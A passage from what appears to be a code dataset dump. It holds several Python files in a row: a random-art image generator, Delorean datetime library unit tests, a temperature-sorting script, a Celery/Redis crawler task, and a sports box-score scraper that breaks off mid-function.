-*-\n\"\"\"\nRandom_art.py\n\n@author: jiayingwei, adapted from amonmillner's work, adapted from pruvolo's work\n\"\"\"\n\n# you do not have to use these particular modules, but they may help\nfrom random import randint\nimport math\nimport Image\n\ndef build_random_function(min_depth, max_depth):\n \"\"\" Creates a random function composed of products, cos(pi * var), and sins(pi * var)) using recursion \n to a random depth between the minimum and maximum depth provided\n \"\"\"\n operations = [\"prod\",\"cos_pi\",\"sin_pi\"]\n if max_depth > 0: #picks a random depth between the min and max provided\n min_depth = randint(min_depth,max_depth)\n max_depth = 0\n theOp = operations[randint(0,len(operations)-1)]\n if min_depth == 1: #basecase for recursion\n variables = [\"x\",\"y\"]\n if theOp == \"prod\":\n return [theOp, variables[randint(0,len(variables)-1)] , variables[randint(0,len(variables)-1)] ]\n else:\n return [theOp, variables[randint(0,len(variables)-1)]] \n if theOp == \"prod\": #recursive part\n return [theOp, build_random_function(min_depth -1, 0) , build_random_function(min_depth -1, 0) ]\n else:\n return [theOp, build_random_function(min_depth -1, 0)]\n\ndef evaluate_random_function(f, x, y):\n \"\"\" Calculates the output of [x,y] after interperating f as a mathmatical equation f(x,y)\n \"\"\"\n if f[0] == \"x\": #basecase for recursion\n return x\n if f[0] == \"y\":\n return y\n if f[0] == \"prod\": #recursive portions\n return evaluate_random_function(f[1], x, y) * evaluate_random_function(f[2], x, y)\n if f[0] == \"sin_pi\":\n return math.sin(math.pi * evaluate_random_function(f[1], x, y))\n if f[0] == \"cos_pi\":\n return math.cos(math.pi * evaluate_random_function(f[1], x, y))\n\ndef remap_interval(val, input_interval_start, input_interval_end, output_interval_start, output_interval_end):\n \"\"\" Maps the input value that is in the interval [input_interval_start, input_interval_end]\n to the output interval [output_interval_start, output_interval_end]. The mapping\n is an affine one (i.e. output = input*c + b).\n \"\"\"\n return (float(val) - input_interval_start) * (output_interval_end - output_interval_start) / (input_interval_end - input_interval_start) + output_interval_start\n \ndef paint(image_size_px, min_depth, max_depth):\n im = Image.new(\"RGB\",(image_size_px,image_size_px))\n pixels = im.load()\n R = build_random_function(min_depth,max_depth) #creates the random functions for the RBG layers\n B = build_random_function(min_depth,max_depth)\n G = build_random_function(min_depth,max_depth)\n for x in range(0,image_size_px): #iterates through all the pixels\n for y in range(0,image_size_px):\n mx = remap_interval(x,1,image_size_px,-1,1)\n my = remap_interval(y,1,image_size_px,-1,1)\n rpx = remap_interval(evaluate_random_function(R,mx,my),-1,1,1,image_size_px) #runs the x and y values through the random recursive functions\n bpx = remap_interval(evaluate_random_function(B,mx,my),-1,1,1,image_size_px)\n gpx = remap_interval(evaluate_random_function(G,mx,my),-1,1,1,image_size_px)\n pixels[x,y] = (int(rpx),int(bpx),int(gpx)) #remaps all the colors\n im.save(\"images/test18.jpg\")\n\nimgsquarepx = 500 #size of art nxn\nmin_depth = 1 #depth of recursion\nmax_depth = 10\n\npaint(imgsquarepx,min_depth,max_depth)\n\n","sub_path":"hw4/random_art.py","file_name":"random_art.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"46509663","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nTesting for Delorean\n\"\"\"\n\nfrom unittest import TestCase, main\nfrom datetime import tzinfo, datetime, date, timedelta\nfrom copy import deepcopy\n\nfrom pytz import timezone\nimport delorean\n\n\nclass GenericUTC(tzinfo):\n \"\"\"GenericUTC\"\"\"\n ZERO = timedelta(0)\n\n def utcoffset(self, dt):\n return self.ZERO\n\n def tzname(self, dt):\n return \"GenericUTC\"\n\n def dst(self, dt):\n return self.ZERO\n\nUTC = \"UTC\"\nutc = timezone(UTC)\ngeneric_utc = GenericUTC()\nest = timezone(\"US/Eastern\")\n\n\nclass DeloreanTests(TestCase):\n\n def setUp(self):\n self.naive_dt = datetime(2013, 1, 3, 4, 31, 14, 148540)\n self.do = delorean.Delorean(datetime=self.naive_dt, timezone=\"UTC\")\n\n def test_date_failure(self):\n dt = date(2013, 5, 6)\n self.assertRaises(ValueError, delorean.Delorean, dt)\n\n\n def test_initialize_from_datetime_naive(self):\n self.assertRaises(delorean.DeloreanInvalidTimezone, delorean.Delorean, datetime=self.naive_dt)\n\n def test_initialize_with_tzinfo_generic(self):\n self.aware_dt_generic = datetime(2013, 1, 3, 4, 31, 14, 148540, tzinfo=generic_utc)\n do = delorean.Delorean(datetime=self.aware_dt_generic)\n self.assertTrue(type(do) is delorean.Delorean)\n\n def test_initialize_with_tzinfo_pytz(self):\n self.aware_dt_pytz = datetime(2013, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n do = delorean.Delorean(datetime=self.aware_dt_pytz)\n self.assertTrue(type(do) is delorean.Delorean)\n\n def test_truncation_hour(self):\n self.do.truncate('hour')\n self.assertEqual(self.do.naive(), datetime(2013, 1, 3, 4, 0))\n\n def test_midnight(self):\n dt = self.do.midnight()\n self.assertEqual(dt, datetime(2013, 1, 3, 0, 0, 0, tzinfo=utc))\n\n def test_start_of_day(self):\n dt = self.do.start_of_day()\n self.assertEqual(dt, datetime(2013, 1, 3, 0, 0, 0, 0, tzinfo=utc))\n\n def test_end_of_day(self):\n dt = self.do.end_of_day()\n self.assertEqual(dt, datetime(2013, 1, 3, 23, 59, 59, 999999, tzinfo=utc))\n\n def test_truncation_second(self):\n self.do.truncate('second')\n self.assertEqual(self.do.naive(), datetime(2013, 1, 3, 4, 31, 14, 0))\n\n def test_truncation_minute(self):\n self.do.truncate('minute')\n self.assertEqual(self.do.naive(), datetime(2013, 1, 3, 4, 31, 0, 0))\n\n def test_truncation_day(self):\n self.do.truncate('day')\n self.assertEqual(self.do.naive(), datetime(2013, 1, 3, 0, 0, 0, 0))\n\n def test_truncation_month(self):\n self.do.truncate('month')\n self.assertEqual(self.do.naive(), datetime(2013, 1, 1, 0, 0, 0, 0))\n\n def test_truncation_year(self):\n self.do.truncate('year')\n self.assertEqual(self.do.naive(), datetime(2013, 1, 1, 0, 0, 0, 0))\n\n def test_date(self):\n self.assertEqual(self.do.date, date(2013, 1, 3))\n\n def test_datetime(self):\n self.assertEqual(self.do.naive(), datetime(2013, 1, 3, 4, 31, 14, 148540))\n\n def test_naive(self):\n dt1 = delorean.Delorean()\n dt_naive = dt1.naive()\n self.assertEqual(dt_naive.tzinfo, None)\n\n def test_naive_timezone(self):\n dt1 = delorean.Delorean(timezone=\"US/Eastern\").truncate('minute').naive()\n dt2 = delorean.Delorean().truncate('minute').naive()\n self.assertEqual(dt2, dt1)\n self.assertEqual(dt1.tzinfo, None)\n\n def test_localize(self):\n dt = datetime.today()\n utc = timezone(\"UTC\")\n dt = delorean.localize(dt, \"UTC\")\n self.assertEqual(dt.tzinfo, utc)\n\n def test_failure_truncation(self):\n self.assertRaises(ValueError, self.do.truncate, \"century\")\n\n def test_normalize(self):\n dt1 = delorean.Delorean()\n dt2 = delorean.Delorean(timezone=\"US/Eastern\")\n dt1.truncate('minute')\n dt2.truncate('minute')\n dt_normalized = delorean.normalize(dt1.datetime, \"US/Eastern\")\n self.assertEqual(dt2.datetime, dt_normalized)\n\n def test_normalize_failure(self):\n naive_datetime = datetime.today()\n self.assertRaises(ValueError, delorean.normalize, naive_datetime, \"US/Eastern\")\n\n def test_localize_failure(self):\n dt1 = delorean.localize(datetime.utcnow(), \"UTC\")\n self.assertRaises(ValueError, delorean.localize, dt1, \"UTC\")\n\n def test_timezone(self):\n utc = timezone('UTC')\n do_timezone = delorean.Delorean().timezone()\n self.assertEqual(utc, do_timezone)\n\n def test_datetime_timezone_default(self):\n do = delorean.Delorean()\n do.truncate('minute')\n dt1 = delorean.datetime_timezone(UTC)\n self.assertEqual(dt1.replace(second=0, microsecond=0), do.datetime)\n\n def test_datetime_timezone(self):\n do = delorean.Delorean(timezone=\"US/Eastern\")\n do.truncate(\"minute\")\n dt1 = delorean.datetime_timezone(tz=\"US/Eastern\")\n self.assertEqual(dt1.replace(second=0, microsecond=0), do.datetime)\n\n def test_parse(self):\n do = delorean.parse('Thu Sep 25 10:36:28 BRST 2003')\n dt1 = utc.localize(datetime(2003, 9, 25, 10, 36, 28))\n self.assertEqual(do.datetime, dt1)\n\n def test_parse_with_utc_year_fill(self):\n do = delorean.parse('Thu Sep 25 10:36:28')\n dt1 = utc.localize(datetime(date.today().year, 9, 25, 10, 36, 28))\n self.assertEqual(do.datetime, dt1)\n\n def test_parse_with_timezone_year_fill(self):\n do = delorean.parse('Thu Sep 25 10:36:28')\n dt1 = utc.localize(datetime(date.today().year, 9, 25, 10, 36, 28))\n self.assertEqual(do.datetime, dt1)\n self.assertEqual(do._tz, \"UTC\")\n\n def test_move_namedday(self):\n dt_next = datetime(2013, 1, 4, 4, 31, 14, 148540, tzinfo=utc)\n dt_next_2 = datetime(2013, 1, 11, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 12, 28, 4, 31, 14, 148540, tzinfo=utc)\n dt_last_2 = datetime(2012, 12, 21, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_friday()\n d_obj_next_2 = self.do.next_friday(2)\n d_obj_last = self.do.last_friday()\n d_obj_last_2 = self.do.last_friday(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_namedday_function(self):\n dt_next = datetime(2013, 1, 4, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 12, 28, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_namedday(self.do.datetime, 'next', 'friday')\n d_obj_last = delorean.move_datetime_namedday(self.do.datetime, 'last', 'friday')\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_week(self):\n dt_next = datetime(2013, 1, 10, 4, 31, 14, 148540, tzinfo=utc)\n dt_next_2 = datetime(2013, 1, 17, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 12, 27, 4, 31, 14, 148540, tzinfo=utc)\n dt_last_2 = datetime(2012, 12, 20, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_week()\n d_obj_next_2 = self.do.next_week(2)\n d_obj_last = self.do.last_week()\n d_obj_last_2 = self.do.last_week(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_week_function(self):\n dt_next = datetime(2013, 1, 10, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 12, 27, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_week(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_week(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_month(self):\n dt_next = datetime(2013, 2, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_next_2 = datetime(2013, 3, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 12, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_last_2 = datetime(2012, 11, 3, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_month()\n d_obj_next_2 = self.do.next_month(2)\n d_obj_last = self.do.last_month()\n d_obj_last_2 = self.do.last_month(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_month_function(self):\n dt_next = datetime(2013, 2, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 12, 3, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_month(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_month(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_day_function(self):\n dt_next = datetime(2013, 1, 4, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 2, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_day(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_day(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_year(self):\n dt_next = datetime(2014, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_next_2 = datetime(2015, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_last_2 = datetime(2011, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_year()\n d_obj_next_2 = self.do.next_year(2)\n d_obj_last = self.do.last_year()\n d_obj_last_2 = self.do.last_year(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_year_function(self):\n dt_next = datetime(2014, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2012, 1, 3, 4, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_year(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_year(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_hour(self):\n dt_next = datetime(2013, 1, 3, 5, 31, 14, 148540, tzinfo=utc)\n dt_next_2 = datetime(2013, 1, 3, 6, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 3, 3, 31, 14, 148540, tzinfo=utc)\n dt_last_2 = datetime(2013, 1, 3, 2, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_hour()\n d_obj_next_2 = self.do.next_hour(2)\n d_obj_last = self.do.last_hour()\n d_obj_last_2 = self.do.last_hour(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_hour_function(self):\n dt_next = datetime(2013, 1, 3, 5, 31, 14, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 3, 3, 31, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_hour(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_hour(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_minute(self):\n dt_next = datetime(2013, 1, 3, 4, 32, 14, 148540, tzinfo=utc)\n dt_next_2 = datetime(2013, 1, 3, 4, 33, 14, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 3, 4, 30, 14, 148540, tzinfo=utc)\n dt_last_2 = datetime(2013, 1, 3, 4, 29, 14, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_minute()\n d_obj_next_2 = self.do.next_minute(2)\n d_obj_last = self.do.last_minute()\n d_obj_last_2 = self.do.last_minute(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_minute_function(self):\n dt_next = datetime(2013, 1, 3, 4, 32, 14, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 3, 4, 30, 14, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_minute(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_minute(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_move_shift_minute(self):\n dt_next = datetime(2013, 1, 3, 4, 31, 15, 148540, tzinfo=utc)\n dt_next_2 = datetime(2013, 1, 3, 4, 31, 16, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 3, 4, 31, 13, 148540, tzinfo=utc)\n dt_last_2 = datetime(2013, 1, 3, 4, 31, 12, 148540, tzinfo=utc)\n\n d_obj_next = self.do.next_second()\n d_obj_next_2 = self.do.next_second(2)\n d_obj_last = self.do.last_second()\n d_obj_last_2 = self.do.last_second(2)\n\n self.assertEqual(dt_next, d_obj_next.datetime)\n self.assertEqual(dt_last, d_obj_last.datetime)\n self.assertEqual(dt_next_2, d_obj_next_2.datetime)\n self.assertEqual(dt_last_2, d_obj_last_2.datetime)\n\n def test_move_second_function(self):\n dt_next = datetime(2013, 1, 3, 4, 31, 15, 148540, tzinfo=utc)\n dt_last = datetime(2013, 1, 3, 4, 31, 13, 148540, tzinfo=utc)\n\n d_obj_next = delorean.move_datetime_second(self.do.datetime, 'next', 1)\n d_obj_last = delorean.move_datetime_second(self.do.datetime, 'last', 1)\n\n self.assertEqual(dt_next, d_obj_next)\n self.assertEqual(dt_last, d_obj_last)\n\n def test_range_count(self):\n \"\"\"\n tests the range method with count used\n \"\"\"\n count = list(delorean.stops(delorean.DAILY, count=5))\n self.assertEqual(len(count), 5)\n\n def test_range_with_start(self):\n dates1 = []\n for do in delorean.stops(delorean.DAILY, count=5, start=datetime.utcnow()):\n do.truncate('minute')\n dates1.append(do)\n do = delorean.Delorean().truncate('minute')\n dates2 = []\n for x in range(5):\n dates2.append(do.next_day(x))\n self.assertEqual(dates1, dates2)\n\n def test_range_with_start_and_stop(self):\n dates1 = []\n tomorrow = datetime.utcnow() + timedelta(days=1)\n for do in delorean.stops(delorean.DAILY, start=datetime.utcnow(), stop=tomorrow):\n do.truncate('minute')\n dates1.append(do)\n do = delorean.Delorean().truncate('minute')\n dates2 = []\n for x in range(2):\n dates2.append(do.next_day(x))\n self.assertEqual(dates1, dates2)\n\n def test_range_with_interval(self):\n dates1 = []\n for do in delorean.stops(delorean.DAILY, interval=2, count=3, start=datetime.utcnow()):\n do.truncate('minute')\n dates1.append(do)\n do = delorean.Delorean().truncate('minute')\n dates2 = []\n for x in range(6):\n if (x % 2) == 0:\n dates2.append(do.next_day(x))\n self.assertEqual(dates1, dates2)\n\n def test_delorean_with_datetime(self):\n dt = datetime.utcnow()\n d = delorean.Delorean(datetime=dt, timezone=UTC)\n dt = utc.localize(dt)\n self.assertEqual(dt, d._dt)\n self.assertEqual(UTC, d._tz)\n\n def test_delorean_with_timezone(self):\n dt = datetime.utcnow()\n d = delorean.Delorean(datetime=dt, timezone=UTC)\n d = d.shift(\"US/Eastern\")\n dt = utc.localize(dt)\n dt = est.normalize(dt)\n self.assertEqual(dt, d._dt)\n self.assertEqual(est, timezone(d._tz))\n\n def test_delorean_with_only_timezone(self):\n dt = datetime.utcnow()\n dt = utc.localize(dt)\n dt = est.normalize(dt)\n dt = dt.replace(second=0, microsecond=0)\n d = delorean.Delorean(timezone=\"US/Eastern\")\n d.truncate('minute')\n self.assertEqual(est, timezone(d._tz))\n self.assertEqual(dt, d._dt)\n\n def testparse_with_timezone(self):\n d1 = delorean.parse(\"2011/01/01 00:00:00 -0700\")\n d2 = datetime(2011, 1, 1, 7, 0)\n d2 = utc.localize(d2)\n self.assertEqual(d2, d1.datetime)\n self.assertEqual(utc, timezone(d1._tz))\n\n def test_shift_failure(self):\n self.assertRaises(delorean.DeloreanInvalidTimezone, self.do.shift, \"US/Westerrn\")\n\n def test_datetime_localization(self):\n dt1 = self.do.datetime\n dt2 = delorean.Delorean(dt1).datetime\n self.assertEqual(dt1, dt2)\n\n def test_localize_datetime(self):\n dt = datetime.utcnow()\n tz = timezone(\"US/Pacific\")\n dt = tz.localize(dt)\n d = delorean.Delorean(dt)\n d2 = d.shift('US/Pacific')\n\n self.assertEqual(d._tz, \"US/Pacific\")\n self.assertEqual(d.datetime, dt)\n self.assertEqual(d.datetime, d2.datetime)\n\n def test_lt(self):\n dt1 = self.do\n dt2 = delorean.Delorean()\n self.assertTrue(dt1 < dt2)\n\n def test_gt(self):\n dt1 = self.do\n dt2 = delorean.Delorean()\n self.assertTrue(dt2 > dt1)\n\n def test_ge(self):\n dt = datetime.utcnow()\n dt1 = delorean.Delorean(dt, timezone=\"UTC\")\n dt2 = delorean.Delorean(dt, timezone=\"UTC\")\n dt3 = self.do\n self.assertTrue(dt2 >= dt1)\n self.assertTrue(dt1 >= dt3)\n\n def test_le(self):\n dt = datetime.utcnow()\n dt1 = delorean.Delorean(dt, timezone=\"UTC\")\n dt2 = delorean.Delorean(dt, timezone=\"UTC\")\n dt3 = self.do\n self.assertTrue(dt2 <= dt1)\n self.assertTrue(dt3 <= dt2)\n\n def test_epoch(self):\n unix_time = self.do.epoch()\n self.assertEqual(unix_time, 1357187474.148540)\n\n def test_epoch_creation(self):\n do = delorean.epoch(1357187474.148540)\n self.assertEqual(self.do, do)\n\n def test_not_equal(self):\n d = delorean.Delorean()\n self.assertNotEqual(d, None)\n\n def test_equal(self):\n d1 = delorean.Delorean()\n d2 = deepcopy(d1)\n self.assertEqual(d1, d2)\n self.assertFalse(d1 != d2, 'Overloaded __ne__ is not correct')\n\n d1 = delorean.Delorean(datetime(2015, 1, 1), timezone='US/Pacific')\n d2 = delorean.Delorean(datetime(2015, 1, 1, 8), timezone='UTC')\n self.assertEqual(d1, d2)\n\n def test_repr(self):\n import datetime\n from delorean import Delorean\n\n d1 = Delorean(datetime.datetime(2015, 1, 1), timezone='US/Pacific')\n d2 = eval(repr(d1))\n\n self.assertEqual(d1, d2)\n\n d3 = Delorean(d1.datetime, timezone='UTC')\n d4 = eval(repr(d3))\n\n self.assertEqual(d1, d4)\n\n def test_timezone_delorean_to_datetime_to_delorean_utc(self):\n d1 = delorean.Delorean()\n d2 = delorean.Delorean(d1.datetime)\n\n #these deloreans should be the same\n self.assertEqual(d1.next_day(1), d2.next_day(1))\n self.assertEqual(d2.last_week(), d2.last_week())\n self.assertEqual(d1.timezone(), d2.timezone())\n self.assertEqual(d1, d2)\n\n def test_timezone_delorean_to_datetime_to_delorean_non_utc(self):\n \"\"\"Test if when you create Delorean object from Delorean's datetime\n it still behaves the same\n \"\"\"\n d1 = delorean.Delorean(timezone='America/Chicago')\n d2 = delorean.Delorean(d1.datetime)\n\n #these deloreans should be the same\n self.assertEqual(d1.next_day(1), d2.next_day(1))\n self.assertEqual(d2.last_week(), d2.last_week())\n self.assertEqual(d1.timezone(), d2.timezone())\n self.assertEqual(d1, d2)\n\n def test_stops_bymonth(self):\n \"\"\"Test if create stops, checks bymonth, bymonthday, count\n and start parameters work properly\n \"\"\"\n days = list(delorean.interface.stops(\n delorean.MONTHLY,\n bymonth=(1, 4, 7, 10),\n bymonthday=15,\n count=4,\n start=datetime(datetime.now().year, 1, 1))\n )\n year = datetime.now().year\n day = 15\n dt1 = datetime(year, 1, day)\n dt4 = datetime(year, 4, day)\n dt7 = datetime(year, 7, day)\n dt10 = datetime(year, 10, day)\n\n self.assertTrue(len(days) == 4)\n dl1 = delorean.Delorean(datetime=dt1, timezone='UTC')\n self.assertEqual(days[0], dl1)\n\n dl4 = delorean.Delorean(datetime=dt4, timezone='UTC')\n self.assertEqual(days[1], dl4)\n\n dl7 = delorean.Delorean(datetime=dt7, timezone='UTC')\n self.assertEqual(days[2], dl7)\n\n dl10 = delorean.Delorean(datetime=dt10, timezone='UTC')\n self.assertEqual(days[3], dl10)\n\n def test_timedelta_arithmetic(self):\n hour = timedelta(hours=1)\n d = delorean.parse(\"2014/06/02 10:00:00 -0700\")\n hour_before = delorean.parse(\"2014/06/02 09:00:00 -0700\")\n hour_after = delorean.parse(\"2014/06/02 11:00:00 -0700\")\n self.assertEqual(d + hour, hour_after)\n self.assertEqual(d - hour, hour_before)\n self.assertEqual(hour_after - d, hour)\n\nif __name__ == '__main__':\n main()\n","sub_path":"tests/test_data.py","file_name":"test_data.py","file_ext":"py","file_size_in_byte":21697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"76617955","text":"# coding: utf-8\n\nfile_name = './data/hightemp.txt'\nlines = open(file_name, encoding=\"utf8\", errors='ignore').readlines()\nlines.sort(\n key=lambda line: float(line.split('\\t')[2]),\n reverse=True,\n)\n\nfor line in lines:\n print(line, end='')\n","sub_path":"src/chap2/task18.py","file_name":"task18.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"509248337","text":"# coding: utf-8\nimport logging\n\nimport requests\nimport redis\nimport celery\nfrom celery.utils.log import get_task_logger\n\nLOGGER = get_task_logger(__name__)\n\n\nclass AddTask(celery.Task):\n\n def run(a, b):\n return a + b\n\n@celery.task\ndef fetch(url):\n \"\"\"\n Utility function to test fecthing a single URL\n \"\"\"\n response = requests.get(url=url)\n LOGGER.info('%d: %s', response.status_code, response.url)\n if response.status_code == requests.codes.OK:\n return response.content\n else:\n return response.text\n\nclass Crawler(celery.Task):\n\n CRAWLED_URLS_REDIS_KEY = 'crawled-urls'\n\n def __init__(self):\n self.session = requests.Session()\n self.rdb = redis.Redis()\n\n def get(self, url, method='GET'):\n \"\"\"\n Performs a non-blocking GET request using requests, eventlet and a Redis\n set as a bloom filter\n \"\"\"\n # Check the cache before running a request\n already_crawled = self.rdb.smember(\n self.CRAWLED_URLS_REDIS_KEY,\n url\n )\n if already_crawled:\n LOGGER.info('Cache hit on URL: %s', url)\n return already_crawled\n # Make HTTP GET request\n response = self.session.get(\n url=url,\n )\n LOGGER.info('%s: %s', response.status_code, response.url)\n if response.status_code == requests.codes.OK:\n # Add the URL to a Redis Set to avoid redundancy\n self.rdb.sadd(\n self.CRAWLED_URLS_REDIS_KEY,\n url\n )\n # Do something with the content\n data = response.content\n return data\n else:\n return response.text\n\n def run(self, url):\n data = self.get(url)\n return data\n","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"565350285","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function, division\n\nimport sys\nfrom urlparse import urljoin\nimport os.path\nfrom time import sleep\n\nfrom termcolor import colored\n\nfrom config import data, domain\nfrom table import parseTable, transposeTable, dumpTable, rawDumpTable, loadTable\nfrom htmlparser import parseURL\nfrom aux import print2, log, dumpURL\nfrom boxscore import parse as parseBoxScore\nfrom playbyplay import parse as parsePlayByPlay\n\ndef crawl(sport, year, division, org, game, url, neutral=False):\n global data\n data = data.format(sport, year, division)\n\n gamename = game.replace('/', '.')\n\n def readFlag(flag):\n if not os.path.exists(os.path.join(data, org, gamename)):\n os.mkdir(os.path.join(data, org, gamename))\n\n return os.path.exists(os.path.join(data, org, gamename, flag))\n\n def setFlag(flag):\n with open(os.path.join(data, org, gamename, flag), 'w') as f:\n pass\n\n if neutral and not readFlag(\".neutral\"):\n setFlag(\".neutral\")\n\n filename = os.path.join(data, org, gamename, \"{}.csv\")\n\n if not readFlag(\".done\"):\n try:\n gamelink = urljoin(domain, url)\n log(\"{} {} {} {} {} {}\".format(sport, year, division, org, game, dumpURL(gamelink)))\n\n gs = parseURL(gamelink)\n\n sleep(2)\n\n gamescore = None\n gameinfo = None\n\n periods = []\n teams = []\n nextPeriod = 0\n for table in gs.select(\"div.header_menu a\"):\n if (\n table[\"href\"] == \"#\" or\n not (\n table[\"href\"].startswith(\"/game/box_score\") or\n table[\"href\"].startswith(\"/game/play_by_play\")\n )\n ):\n continue\n\n tablelink = urljoin(domain, table[\"href\"])\n print2(\"{} \\033[4m{}\\033[0m\".format(table.text.strip(), tablelink))\n\n ts = parseURL(tablelink)\n\n if gamescore is None:\n gamescore = parseTable(ts.select(\"table:nth-of-type(1)\")[0])\n dumpTable(\n gamescore,\n filename.format(\"Score\")\n )\n\n if gameinfo is None:\n gameinfo = transposeTable(\n parseTable(ts.select(\"table:nth-of-type(3)\")[0]) +\n parseTable(ts.select(\"table:nth-of-type(4)\")[0])\n )\n dumpTable(\n gameinfo,\n filename.format(\"Info\")\n )\n\n teams = [gamescore[1][0].text.strip(), gamescore[2][0].text.strip()]\n periods = [v.text.strip() for v in gamescore[0][1:]]\n\n if table[\"href\"].startswith(\"/game/box_score\"):\n if table.text.strip() == \"Box Score\":\n sfilename = filename.format(\"Box Score - {}\")\n else:\n sfilename = filename.format(periods[nextPeriod] + \" - {}\")\n nextPeriod += 1\n\n dumpTable(\n parseTable(ts.select(\"table:nth-of-type(5)\")[0], header=1),\n sfilename.format(teams[0])\n )\n dumpTable(\n parseTable(ts.select(\"table:nth-of-type(6)\")[0], header=1),\n sfilename.format(teams[1])\n )\n elif table[\"href\"].startswith(\"/game/play_by_play\"):\n sfilename = filename.format(\"Play by Play - {}\")\n\n for (i, period) in enumerate(periods[:-1]):\n dumpTable(\n parseTable(ts.select(\"table:nth-of-type({})\".format(6 + 2 * i))[0], header=0),\n sfilename.format(period)\n )\n\n sleep(2)\n\n if gamescore == gameinfo == None:\n raise Exception(\"Not a game.\")\n\n setFlag(\".done\")\n\n sleep(2)\n except Exception as e:\n print2(colored(\"Error: \", \"red\"), e)\n finally:\n print2()\n\n if not readFlag(\".parsed\"):\n try:\n 